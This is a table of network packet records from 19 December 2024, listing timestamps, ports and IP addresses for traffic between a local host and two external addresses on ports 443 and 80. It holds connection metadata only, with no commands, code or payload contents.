Dec 19, 2024 07:56:42.035815954 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:43.151457071 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:43.151700020 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:43.151763916 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:43.151879072 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:43.151901960 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:43.151931047 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:43.151937962 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:43.153616905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:43.273169994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:43.273351908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:43.273531914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:43.394102097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.605779886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.605838060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.605874062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.605886936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.605909109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.605945110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.605946064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.605998039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.606034040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.606035948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.606069088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.606102943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.606122971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.606472969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.725811958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.725847006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.725893021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.797925949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.797947884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.798027039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.806895018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.806911945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.806971073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.814506054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.814523935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.814595938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.818813086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.818828106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.818883896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.829247952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.829263926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.829344034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.836651087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.836667061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.836744070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.843698025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.843795061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.843863964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.852874994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.852891922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.852962971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.862880945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.862898111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.862951040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.870860100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.870882988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.870948076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.878861904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.878878117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.878954887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.917627096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.959670067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.989748001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.989770889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.989833117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:44.994076967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.994093895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:44.994139910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.002706051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.002726078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.002770901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.010588884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.010652065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.010706902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.015877008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.015892982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.015933037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.020641088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.020919085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.020961046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.025588989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.025604963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.025655031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.030800104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.030813932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.030864954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.035195112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.035211086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.035254002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.040518045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.040534019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.040594101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.044785023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.045452118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.045510054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.049711943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.049727917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.049782991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.054853916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.054868937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.054933071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.060847998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.060863972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.060916901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.066845894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.066862106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.066934109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.069837093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.069854021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.069892883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.074481010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.074495077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.074552059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.079374075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.079389095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.079442978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.083657980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.083729029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.083801031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.088534117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.088551998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.088606119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.111397028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.111414909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.111470938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.181643009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.181664944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.181729078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.183725119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.184428930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.184473038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.184602022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.188941956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.188972950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.188978910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.193721056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.193737030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.193800926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.197732925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.197746992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.197803974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.202037096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.202050924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.202199936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.205933094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.206104994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.206207991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.209867954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.209932089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.210088015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.213771105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.213813066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.213840008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.217398882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.217461109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.217510939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.220873117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.220937014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.220987082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.223459959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.223505020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.223512888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.226418018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.226457119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.226488113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.229352951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.229420900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.229568958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.232393980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.232456923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.232467890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.235373974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.235426903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.235454082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.238338947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.238384962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.238614082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.240442991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.240494967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.240596056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.242585897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.242633104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.242686033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.244745016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.244802952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.244829893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.246822119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.246874094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.246906042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.248980999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.249036074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.249141932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.251049995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.251104116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.251161098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.253276110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.253329992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.253456116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.255356073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.255376101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.255399942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.257431030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.257477999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.258025885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.259633064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.259645939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.259676933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.261766911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.261780024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.261815071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.263910055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.263925076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.263964891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.265996933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.266011953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.266041040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.268131018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.268145084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.268182039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.345989943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.373488903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.373527050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.373584986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.374442101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.374500036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.374547005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.376473904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.377295971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.377347946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.377378941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.379306078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.379364014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.379415035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.381484032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.381520033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.381550074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.383502007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.383538008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.383568048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.385392904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.385446072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.385539055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.387137890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.387196064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.387353897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.389089108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.389139891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.389172077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.390850067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.390909910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.390955925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.392708063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.392762899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.392801046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.394359112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.394407034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.394433975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.396239042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.396272898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.396305084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.397886992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.397936106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.398158073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.399677038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.399728060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.399749041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.402144909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.402200937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.403186083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.404350996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.404386044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.404403925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.405577898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.405618906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.405647993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.406640053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.406687021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.406692982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.408417940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.408454895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.408471107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.410095930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.410161018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.410212040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.411884069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.411938906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.412029028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.413700104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.413752079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.413754940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.415374041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.415406942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.415431976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.417131901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.417184114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.417222023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.418982983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.419034958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.419037104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.420631886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.420725107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.420769930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.422372103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.422449112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.422542095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.424139023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.424175024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.424205065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.425874949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.425925970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.426423073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.427606106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.427658081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.427666903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.429322958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.429380894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.429440975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.431052923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.431121111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.431175947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.432811022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.432874918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.432928085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.434662104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.434695959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.434729099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.436403036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.436438084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.436453104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.438148975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.438184023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.438213110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.439910889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.439964056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.440005064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.441668034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.441701889 CET	80	49744	185.215.113.16	192.168.2.4
